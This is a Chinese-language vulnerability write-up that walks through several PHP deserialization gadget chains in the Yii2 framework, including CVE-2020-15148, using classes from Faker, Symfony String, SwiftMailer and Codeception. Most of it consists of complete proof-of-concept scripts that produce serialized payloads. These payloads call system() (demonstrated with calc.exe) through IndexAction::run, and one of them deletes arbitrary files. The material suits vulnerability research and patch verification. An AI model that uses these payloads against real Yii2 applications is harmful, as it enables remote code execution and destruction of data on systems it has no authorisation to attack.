Yii反序列化分析

 

前言

最近Yii2出了反序列化RCE漏洞,借着这个漏洞,分析了Yii的几条POP链,同时基于这几条POP链的挖掘思路,把Yii2的可以触发发序列化的链子总结了以下。

 

本地环境

php:7.2.10

Yii版本:yii-basic-app-2.0.37

 

RCE-POP链-1(CVE-2020-15148)

https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99#diff-4850e9cae84cf426012918c8f3394d21

补丁修复是通过在BatchQueryResult.php增加了一个__wakeup()魔法函数来防止反序列化。低版本的php是可以绕过的。

我们直接去定位这个文件:

$_dataReader可控,到这里又两个思路,一个是去触发__call另一个就是去找close,我们先找close方法

//vendor/yiisoft/yii2/web/DbSession.php:146
    public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();
            YII_DEBUG ? session_write_close() : @session_write_close();
        }
    }

//vendor/yiisoft/yii2/web/Session.php:220
    public function getIsActive()//可以看先知师傅的文章,一直返回true
    {
        return session_status() === PHP_SESSION_ACTIVE;
    }

//vendor/yiisoft/yii2/web/MultiFieldSession.php:96
    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

找到这里发现这条链之前有师傅在先知发过—>文章链接,利用[(new test), "aaa"]来调用任意test类的aaa方法,绕过了call_user_func参数不可控。

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)来找可控的call_user_func方法,一共找到以下两条。

用第一个构造POC:

<?php
    namespace yii\rest{
        class IndexAction {
            public $checkAccess;
            public $id;
            public function __construct()
            {
                $this->checkAccess="system";
                $this->id="calc.exe";

            }
        }
    }
    namespace yii\web{
        use yii\rest\IndexAction;

        class DbSession {
            protected $fields = [];
            public $writeCallback;
            public function __construct()
            {
                $this->writeCallback=[(new IndexAction),"run"];
                $this->fields['1'] = 'aaa';
            }

        }
    }
    namespace yii\db {
        use yii\web\DbSession;

        class BatchQueryResult
        {
            private $_dataReader;
            public function __construct()
            {
                $this->_dataReader=new DbSession();
            }
        }
    }
    namespace {
        $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
    }
?>

现在我们在回头看__call是否行得通,下面是网上目前公开的一条利用__call的POP链

//vendor/fzaninotto/faker/src/Faker/Generator.php:283
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

//vendor/fzaninotto/faker/src/Faker/Generator.php:226
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

//vendor/fzaninotto/faker/src/Faker/Generator.php:236
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

在这条链里getFormatter我们是可控的,通过控制formatters['close']的键值,由此我们可以去调用任意类的任意方法,跟上面的链一样,我们可以去调用run方法,这样就可以构造如下POC:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['close']=[new IndexAction,"run"];
        }
    }

}

namespace yii\db {
    use Faker\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}

这条链任何一个反序列化入口点都可以利用,有师傅提交了两处入口点可以参考

https://github.com/yiisoft/yii2/issues/18293

分别使用了

vendor/codeception/codeception/ext/RunProcess.php:93

vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:289

除了这两条也有很多,这里就不都列出来了,感兴趣的师傅可以自己找找

 

RCE—POP链-2

我们再来分析以下上面文章提到的一条__wakeup的POP链

//vendor/symfony/string/UnicodeString.php:348
    public function __wakeup()
    {
        normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
    }

这个地方$this->string我们是可控的,查看官方手册,第一个参数要求是String类型,如此我们就可以去寻找可利用的__toString方法

文章里作者利用的是vendor/symfony/string/LazyString.php:96中的__toString方法

    public function __toString()
    {
        if (\is_string($this->value)) {
            return $this->value;
        }

        try {
            return $this->value = ($this->value)();
        } catch (\Throwable $e) {
            if (\TypeError::class === \get_class($e) && __FILE__ === $e->getFile()) {
                $type = explode(', ', $e->getMessage());
                $type = substr(array_pop($type), 0, -\strlen(' returned'));
                $r = new \ReflectionFunction($this->value);
                $callback = $r->getStaticVariables()['callback'];

                $e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type));
            }

            if (\PHP_VERSION_ID < 70400) {
                // leverage the ErrorHandler component with graceful fallback when it's not available
                return trigger_error($e, E_USER_ERROR);
            }

            throw $e;
        }
    }

$this->value = ($this->value)();value值可控,继续用它来调用run方法,进行RCE,POC如下:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new LazyString;
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}

同样的我们也可以利用__wakeup来触发上面的__call的POP链,在vendor/codeception/codeception/src/Codeception/Util/XmlBuilder.php:165找到一处利用点

    public function __toString()
    {
        return $this->__dom__->saveXML();
    }

POC如下:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";
        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['saveXML']=[new IndexAction,"run"];
        }
    }
}

namespace Codeception\Util{
    use Faker\Generator;
    class XmlBuilder{
        protected $__dom__;
        public function __construct()
        {
            $this->__dom__=new Generator();
        }

    }
}

namespace Symfony\Component\String{
    use Codeception\Util\XmlBuilder;
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new XmlBuilder();
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}

 

RCE-POP链-3

根据上面的思路,又找到如下一条入口:

//vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php:36
    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
//vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php:56
    public function getPath()
    {
        return $this->path;
    }

这个地方$this->path;可控,此处其实就已经是一个任意文件删除了,POC如下:

<?php

namespace {
    class Swift_ByteStream_FileByteStream{
        private $path;
        public function __construct()
        {
            $this->path='D:\test.txt';
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{
    }
    $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));
}

当然最后的目标肯定是RCE,file_exists的参数通用是需要String类型,后面就和上面的思路一样了,调用__toString方法。

POC如下:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}
namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
}
namespace {
    use Symfony\Component\String\LazyString;
    class Swift_ByteStream_FileByteStream{
        private $path;
        public function __construct()
        {
            $this->path=new LazyString();
        }
    }
    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{
    }
    $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));
}

 

RCE-POP链-4

同样是利用__toString方法

//vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:289
    public function __destruct()
    {
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }
}
//vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:225
    public function clearAll($nsKey)
    {
        if (array_key_exists($nsKey, $this->keys)) {
            foreach ($this->keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->path.'/'.$nsKey)) {
                rmdir($this->path.'/'.$nsKey);
            }
            unset($this->keys[$nsKey]);
        }
    }
//vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:212
    public function clearKey($nsKey, $itemKey)
    {
        if ($this->hasKey($nsKey, $itemKey)) {
            $this->freeHandle($nsKey, $itemKey);
            unlink($this->path.'/'.$nsKey.'/'.$itemKey);
        }
    }
//vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php:201
    public function hasKey($nsKey, $itemKey)
    {
        return is_file($this->path.'/'.$nsKey.'/'.$itemKey);
    }

主要的触发点在is_file其中$this->path可控,且其参数需要是String类型

POC如下:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}
namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
}
namespace {
    use Symfony\Component\String\LazyString;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;

        public function __construct()
        {
            $this->keys['test'] = ['aaa'=>'qqq'];
            $this->path=new LazyString();
        }
    }

    $exp=print(urlencode(serialize(new Swift_KeyCache_DiskKeyCache())));
}

 

RCE-POP链-5

//vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php:536
    public function __destruct()
    {
        try {
            $this->stop();
        } catch (Exception $e) {
        }
    }
//vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php:232
    public function stop()
    {
        if ($this->started) {
            if ($evt = $this->eventDispatcher->createTransportChangeEvent($this)) {
                $this->eventDispatcher->dispatchEvent($evt, 'beforeTransportStopped');
                if ($evt->bubbleCancelled()) {
                    return;
                }
            }

            try {
                $this->executeCommand("QUIT\r\n", [221]);
            } catch (Swift_TransportException $e) {
            }

            try {
                $this->buffer->terminate();

                if ($evt) {
                    $this->eventDispatcher->dispatchEvent($evt, 'transportStopped');
                }
            } catch (Swift_TransportException $e) {
                $this->throwException($e);
            }
        }
        $this->started = false;
    }

此处$this->eventDispatcher可控,可以继续利用上面的__call链来进行RCE,POC如下:

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['createTransportChangeEvent']=[new IndexAction,"run"];
        }
    }

}
namespace {
    use Faker\Generator;

    abstract class Swift_Transport_AbstractSmtpTransport{}
    class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport
    {
        protected $started;
        protected $eventDispatcher;
        public function __construct()
        {
            $this->started = True;
            $this->eventDispatcher = new Generator();
        }
    }

    $exp=print(urlencode(serialize(new Swift_Transport_SendmailTransport())));
}

 

后言

至此本文就结束了,有错的地方希望师傅们指出,本文链的核心其实没有变,更多的是从不同的入口下手,后面的话会尝试寻找其他的链子。师傅们有思路欢迎交流。

(完)